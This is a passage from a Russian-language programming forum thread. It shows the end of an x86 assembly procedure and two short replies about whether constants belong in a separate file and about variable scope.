        pop     edi
        push    DWord [edi+0x8]
        pop     DWord [iResult]
        popa
        push    DWord [iResult]
        pop     eax
        ret
    endp
    
    Please login or register to view links
     

    Вложения:

    • Like Like x 3
    Метки:
  2. AJ1

    AJ1

    Регистрация:
    19 фев 2013
    Сообщения:
    246
    Симпатии:
    351
    А по парадигме nodejs константы не должны быть в отдельном файле? :D
     
  3. TopicStarter Overlay
    0xDADA11C7

    0xDADA11C7

    Регистрация:
    5 янв 2015
    Сообщения:
    8
    Симпатии:
    23
    Не знаю такой парадигмы. Для все х констант/объектов/функций/переменных главное находиться в правильной области видимости, а все остальное - несущественно.
     
    • Like Like x 1

Поделиться этой страницей

Загрузка...